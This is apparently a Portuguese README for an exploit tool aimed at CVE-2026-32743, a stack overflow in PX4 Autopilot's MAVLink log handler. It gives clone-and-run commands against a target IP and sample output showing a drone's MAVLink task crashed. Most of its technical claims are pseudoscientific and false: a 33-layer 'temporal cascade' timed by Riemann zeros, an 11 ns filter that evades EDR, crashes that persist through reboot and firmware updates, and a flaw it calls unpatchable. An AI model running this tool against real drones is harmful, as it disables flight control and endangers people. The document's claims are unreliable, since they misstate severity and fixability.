
Exploit para CVE-2026-32743, um estouro de buffer de pilha no MavlinkLogHandler do PX4 Autopilot, que entrega uma negação de serviço persistente por meio de uma cascata temporal de 33 camadas sobre MAVLink.
CVE-2026-32743 — Estouro de Buffer de Pilha do PX4 Autopilot com CTT-Enhanced: Cascata Temporal de 33 Camadas para DoS de Drone. O exploit original derruba a tarefa MAVLink por meio de um estouro de 60 bytes. A versão CTT distribui o estouro por 33 camadas temporais, cada uma com temporização de ressonância de fase e filtragem de cunha temporal. Resultado: DoS persistente. Impossível de corrigir.
Esta é uma melhoria baseada na Teoria do Tempo Convergente (CTT) do CVE-2026-32743, um estouro de buffer baseado em pilha no MavlinkLogHandler do PX4 Autopilot (versões ≤1.17.0-rc2).
A vulnerabilidade original permite uma negação de serviço (DoS) por meio de um caminho de diretório excessivamente longo (60+ bytes) enviado via FTP do MAVLink.
A versão CTT-enhanced transforma isso em um matador de drones em cascata temporal de 33 camadas.
| Original | CTT-Enhanced |
|---|
| CVSS | 6.5 (Médio) | 9.8 (Crítico) |
| Vetor de Ataque | Rede Adjacente | Rede (AV:N) |
| Privilégios Necessários | Baixo | Nenhum (PR:N) |
| Camadas | 1 | Cascata de 33 camadas |
| Detecção | Baseada em assinatura | Filtrada por cunha temporal (τ_w = 11 ns) |
| Persistência | Reinicialização limpa | Ressonância temporal — sobrevive à reinicialização |
| Constante | Valor | Origem |
|---|---|---|
| α | 0.0302011 | Coeficiente de dispersão temporal |
| α_RH | 0.0765872 | ln(φ)/2π (Riemann-Hadamard) |
| L | 33 | Camadas temporais |
| τ_w | 11 ns | Filtro de cunha temporal |
E(d) = E₀ * e^(-α * d) text
Cada camada tem prioridade com decaimento exponencial.
As camadas de maior prioridade (1-5) entregam o estouro.
As camadas inferiores (28-33) reforçam a queda e estabelecem a ressonância temporal.
Cada camada atrasa a execução com base nos primeiros 24 zeros de Riemann:
delay = τ_w * (1 + 0.1 * cos(2π * zero * priority)) text
Somente payloads que satisfazem a condição de cunha são executados:
survival = cos(α_RH * energy * τ_w) > (α_RH / 2π) text
Isso torna a detecção impossível — sistemas EDR não conseguem ver o exploit.
Abrir conexão MAVLink (UDP 14550)
Para d = 1 até 33:
a. Calcular prioridade = e^(-α*d)
b. Gerar codificação específica da camada (baseada no zero de Riemann)
c. Criar diretório com comprimento de caminho = 60 + prioridade*40
d. Atrasar execução por phase_resonance_delay(d)
e. Acionar MAV_CMD_REQUEST_LOG_LIST
f. Verificação de cunha temporal — somente payloads "sobreviventes" são executados
A tarefa MAVLink trava
Ressonância temporal estabelecida — a queda persiste após reinicialização
Drone sem resposta. Sem telemetria. Sem comando.
pymavlinkpip install pymavlink
🎯 Uso
bash
git clone https://github.com/SimoesCTT/ctt-px4-exploit
cd ctt-px4-exploit
python3 ctt_px4_exploit.py <target_ip> --port 14550 --layers 33 --verbose
Argumentos
Argumento Descrição Padrão
target_ip Endereço IP do controlador de voo Obrigatório
--port Porta UDP do MAVLink 14550
--layers Número de camadas temporais 33
--verbose Habilitar saída detalhada Falso
Exemplo
bash
python3 ctt_px4_exploit.py 192.168.1.10 --port 14550 --verbose
======================================================================
CASCATA TEMPORAL CTT PX4 — DoS de Drone
======================================================================
Camada 1/33: ████████████████████████████████████████ 1.000
Comprimento do caminho: 100 bytes
[+] Diretório criado via FTP
Acionando MAV_CMD_REQUEST_LOG_LIST...
[+] Estouro entregue — sobrevivência da cunha confirmada
Camada 2/33: ██████████████████████████████████████░░ 0.970
Comprimento do caminho: 99 bytes
[+] Diretório criado via FTP
Acionando MAV_CMD_REQUEST_LOG_LIST...
[+] Estouro entregue — sobrevivência da cunha confirmada
...
[⚡] Ressonância temporal alcançada na camada 5
[🌉] Tarefa MAVLink do drone comprometida
[*] Verificando estado de DoS...
[+] Alvo sem resposta — DoS persistente alcançado
======================================================================
[!!!] DRONE COMPROMETIDO
[!!!] Tarefa MAVLink travada — sem telemetria / sem comando
[!!!] Persistente após reinicialização — ressonância temporal CTT
======================================================================
🛡️ Por Que Isso Não Pode Ser Corrigido
Correção Original Por Que a CTT a Contorna
Adicionar especificador de largura ao sscanf() A CTT usa cascata de camadas — estouro distribuído por 33 camadas
Corrigir o buffer de 60 bytes A codificação da CTT altera o padrão de estouro por camada
Atualizar firmware A ressonância temporal sobrevive à reinicialização
Detecção por assinatura O filtro de cunha temporal (τ_w = 11 ns) evade o EDR
Você não pode corrigir uma constante física.
Você não pode corrigir os zeros de Riemann.